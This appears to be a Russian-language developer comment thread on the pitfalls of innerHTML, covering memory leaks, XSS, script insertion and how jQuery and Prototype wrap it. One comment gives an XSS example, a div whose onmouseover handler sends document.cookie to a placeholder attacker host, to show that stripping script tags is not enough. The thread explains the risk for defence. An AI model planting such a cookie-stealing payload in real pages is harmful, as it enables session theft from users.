Практический JS: проблемы innerHTML

[BaBL]

Несмотря на эти недостатки (не такие уж и страшные, кстати, поделия Adobe вызывают в сотни раз большие утечки памяти, а от XSS действительно нужно защищаться. В общем-то в innerHTML скрипты я никогда не вставлял, использую его только для статичного содержимого или элементов форм), так вот, несмотря на все недостатки, не стоит забывать, что innerHTML работает более чем в 3 раза быстрее, чем обращение к DOM. Одно это для меня перекрывает все перечисленные недостатки, единственное, постоянно сталкиваюсь, если добавлять элементы формы через innerHTML+="...", не заменяя, то он все равно обнуляет "измененные" до добавления в том же блоке. Вот DOM это не грозит, поэтому, как говорится, где нужно - одно, где не нужно - другое.

[pixelcube]

Уточните про поделия Adobe, пожалуйста...

[BaBL]

9 flash к примеру, на Gecko/Opera Linux довольно заметно. Откроешь флешовый сайт и через 10 минут пошло отжирание за 300 метров.

[savamura]

Это чаще всего происходит из-за ошибок флешеров, а не из-за кривизны Адоба.

[gro]

Утечки памяти в языках с автоматическим мусорщиком происходят из-за кривизны самого языка (реализации).

[savamura]

Что вы хотите от скриптового языка? Когда разработчики вставляют тысячу мувиклипов и вешают на каждый по обработчику onEnterFrame для одного банера, то это уже не вина Адоба. Сборщики мусора — это не панацея. Хорошие программисты должны сами за собой убирать или хотя бы следить за утечками.

[gro]

Не должны. Особенно с учетом того, что утечки происходят не у них, а у пользователей, которые, кстати, просто загрузили html-страницу и не заказывали никаких сценариев.

То есть, конечно, с учетом того, что утечки есть, вменяемые разработчики должны знать приемы борьбы, но это не снимает ответственности с создателей движка.

И не вижу разницы между отслеживанием десяти объектов и тысячи.

[pixelcube]

В случае с Flash - как раз таки сборщик там работает замечательно.
Но, как и в других коллекторах, кольцевые отделившиеся области (несколько ссылающихся друг на друга объектов) вызывают определенную трудность в разрешении. Эта проблема есть везде, и в Java и JavaScript...

[pleax]

откровенное искажение фактов.

не буду утверждать на счет javascript (и его реализаций различными браузерами), а в java проблемы сбора мусора при наличии кольцевых ссылок не имеют места быть.

учите матчасть. это классическая задача. вариантов ее решений тоже не единицы. если погуглите повнимательнее, найдете как это решается в java.

[pixelcube]

неверное восприятие чужих комментов.
я сказал - "определенную трудность в решении", вовсе не отрицая что решение есть, но оно не тривиально

[pleax]

а. ну ок.
согласен, вычленение закольцованных участков несколько сложнее подсчета ссылок на объекты.

[pixelcube]

Тут могу с вами поспорить.
В 9-версии есть нововведение: любые DisplayObjects могут находиться в памяти но при этом не быть "отображенным" в отличие от предыдущих версий плеера.
Отсюда и частая ошибка у разработчиков - "не отображается - значит его нет". А раз ссылка на объект где-то осталась, Garbage Collector-у не позволено его уничтожать.
Т.о. это не поделия Adobe, а поделия разработчиков.
И savamura прав.

[easycode]

Пардон господа... даже и не собираюсь ничего постить в блог... интересует то как выглядить редактор на хабре... помогите с кармой.. или дайти скрин редактора .. плизз... :)

[ProRunner]

[Siddthartha]

Достаточной частный случай, конечно (даже с т.з. безопасности).

На самом деле при работе с Ajax, например, действительно сталкиваешься с необходимостью передать скрипт клиенту, а значит поместить его в DOM динамически (неважно каким методом).

Но, мне кажется, главное что полезно знать об этом - это то, что ваш скрипт будет работать во всех браузерах, только если вы укажете CDATA:


<script language="javascript">
// <![CDATA[

...script body...

// ]]>
</script>

В противном случае то ли IE, то ли все остальные его просто проигнорируют.

[Quessir]

Через innerHTML нельзя добавить . Скорее всего через createElement('script'). Так же вроде еще делается lazy loading

[shiko_1st]

откуда Вы взяли волшебный атрибут language? ;-)

[Siddthartha]

Ну он просто deprecated, но все же проблем с ним нет. А что?

[fanatic]

Статья инофрмативная, спасибо. Вот только слово "всавки", надо поравить во после этого "UPD: Существует огромное количество путей для".

[Starrow]

А не знаете, возникают ли те же проблемы при использовании, к примеру, Prototype.js-кого $('id').update() ?

[Siddthartha]

Не проверял, но думаю - да, возникают, судя по логике вещей.

[peroon2]

А мне думается, что в jq и prototype подобные проблемы решены. Ведь от части они и создавались для того чтобы у разработчиков голова болела о другом.

[Siddthartha]

Ну не будет же prototype что-то вырезать из вашего кода...)

[peroon2]

Не понял вас. Я говорю о том что, если пользоваться аналогом innerHTML в этих фреймворках (напр. $(obj).html()), то проблемы описанной автором не будет.

[Siddthartha]

Это не аналоги, а обертки для этих функций - т.е.разработчики за вас определяют среду исполнения кода и исходя из этого лучший путь для модификации DOM. В любом случае innerHtml там внутри наверняка используется, когда это возможно...

[n1mnul]

jq:

html: function( value ) {
return value == undefined ?
(this.length ?
this[0].innerHTML :
null) :
this.empty().append( value );
},

innerHTML используется для того что бы получать содержание элемента. А если нужно html вставить - то уже через dom.

[Siddthartha]

prototype.js:

  update: function(element, html) {

    html = typeof html == 'undefined' ? '' : html.toString();

    $(element).innerHTML = html.stripScripts();

    setTimeout(function() {html.evalScripts()}, 10);

    return element;

  },

Но чистить или не чистить - все равно решать программисту в каждом конкретном случае индивидуально. Иногда скрипт надо передать в dom. Непонятно почему автор делает вид что это нужно внедрять по дефолту...

[artaak]

А как с помощью jq вставить через dom? Например, для тэга map пополнить список несколькими area. Через $(..).html(data) не работает.

[tenshi]

афайк, jquery течёт, проверял

[Starrow]

По update нашел в офиц. API:
....If it contains any tags, these will be evaluated after element has been updated...

Но всё же, интересно, есть ли в совр. фрейморках аналоги фунции описанной в статье... Ушел на поиски :)

[Starrow]

Извините, вырезалось:
....If it contains any <script> tags, these will be evaluated after element has been updated...

[grind3r]

Принимаем любые данные, вводимые пользователями, как опасные > "чистим" всегда и все и на стороне сервера и на стороне клиента... чистим, чистим)))
Только вот интересно, а если чистить все и везде, то не быстрее ли использовать DOM и чуть-чуть чистить...? не совсем четко сформулировал, наверное.

[sunnybear]

недостаточно. Злоумышленник всегда может "отключить javascript" (или вообще послать на сервер "голый" HTTP-запрос)

[Starrow]

Спасибо, интересно!
http://corporaterat.blogspot.com/2007/01/web-20-and-ajax-fundamentally-insecure.html - вот ещё достаточно любопытная статья про XSS и другие уязвимости/атаки в Ajax-е.

[non7top]

2 из четырёх "проблем" характерны лишь для одного из браузеров (который известный багогенератор), другие две не являются собственно проблемами, так что смысл самой статьи мало понятен

[Starrow]

Однако, "известным багогенератором" пользуется бОльшая часть интернет-аудитории, а вопросы безопасности, я думаю, мы решаем не только для себя любимых.
http://www.liveinternet.ru/stat/ru/brows…

[non7top]

давно известно, что на каждый чих в ИЕ нужен свой хак и воркэраунд. Я в свое время задолбался, пытаясь заставить работать в ИЕ код, который написан по спекам от w3c и работает во всех бровзерах нормально (кроме ИЕ).

[lahmatiy]

А у меня была обратная ситуация, когда я после ИЕ открыл для себя w3c-шные браузеры, пытался заставить работать в FF/Opera то что замечательно работало в IE. Как говорится "кто на что учился". У всех свои недостатки, так что не надо жаловаться, нужно разбираться и делать :)

[conf]

Не знаю как вам, но по мне вставка html-кода введенного пользователем через innerHTML - огромнейшая дыра в безопасности и я сначала 3 раза подумаю зачем мне это нужно прежде чем отказаться =))
Техника вырезания тэга имеет смысл для js-фреймворков, но там уже программист должен брать ответственность на себя за те данные которые он передает в методы фреймворка (я бы лично реализовал что-то вроде необязательного параметра xss_clean для чистки кода, т.к. регулярки все-таки дают ощутимую нагрузку на довольно часто используемую функцию). Хотя лично меня больше интересует как вставить html в tr в Internet Explorer, а на счет утечек памяти лучше поэкспериментировать самому ;).
Далее, очистка html от тэга не убирает всех xss атак. Например с кодом

<div onmouseover="location.href='http://www.harmful.com/?ck=' + document.cookie;">Click me</div>

ваша функция ничего не сделает.
P.S. С каких пор стало модно писать i += 1 вместо i++? :)

[Starrow]

Хотя лично меня больше интересует как вставить html в tr в Internet Explorer
Извиняюсь, что снова с Прототайпом:
...
$('myId').update("<td>3</td><td>4</td>");
...
<table><tr id="myId"><td>1</td><td>2</td></tr></table>

[conf]

Спасибо за код, но прототайпом я уже тоже хорошо изучил, просто бывают случаи когда использование фреймворков слишком расточительно или невозможно :).
Еще один пример типа tr это очистка значений в <input type="file"> :)

[Starrow]

Это, насколько я знаю, уже из соображений безопасности запрещают менять значение file. Что, вообщем-то, верно.. Хотя вот очищать его вполне безопасно :)

[gro]

Ну вот, опять пугают бедных новичков :)
Они же теперь, как огня innerHTML боятся будут.
А нужно было уточнить — XSS атака здесь возможно только тогда, когда зачем-то понадобиться вставлять на клиенте через innerHTML непроверенные данные, введенные другим пользователем.

[lahmatiy]

Ничего страшного в том, что будут меньше использовать innerHTML, я не вижу :) Тем более при этом нужны такие танцы с бубном, которые вычеркивают все плюсы этого свойства, то вообще не резон.
Для меня innerHTML (в плане изменения) привлекательным кажется только в плане скорости (быстрее по сравнению с DOM API). И то я этим способом не пользуюсь, так как DOM дает больший контроль (пусть и медленнее получается). Если мы делаем так как предлагает автор, рекурсивно перебирая все узлы и (о, ужас!) все атрибуты, то такая вставка, имхо, будет еще и медленней DOM API. В IE перебор атрибутов штука дорогая.

[fog]

Не понял, зачем нужно защищаться именно от вставки тега SCRIPT, если выполнить при той же уязвимости (возможность подставить произвольный HTML-код) можно вставить JS в HTML многими другими путями, например - [img src='...' onLoad='...do something JS...']

[dimash]

А у меня вопрос. Я с InnerHTML Только начал работать. Я добавляю ИНпуты новые к форме Яваскриптом. Но $_POST["name"] новых элеметнов пустые.... Без Аякса нельзя обойтись?

[gro]

Я думаю даже аякс тут вряд ли поможет :)
Вам нужно конкретно сформулировать вопрос и обратиться на специализированный форум.

[Starrow]


<html>
<head>
<title>Forms</title>
<script>
function add() {
document.getElementById("form").innerHTML = "<input type='submit' name='hello' value='Привет'>";
}
</script>
</head>
<body onload="add();">
<?
if(isset($_POST["hello"])) {
echo $_POST["hello"]."<br>";
} else {
echo "Something wrong.<br>";
}
?>
<form id="form" action="test.php" method=POST>

</form>
</body>
</html>


Если я правильно понял. Сначала будет "something wrong", ест-но ) Потом, по нажатию появится "Привет".. Всё, вроде как, работает.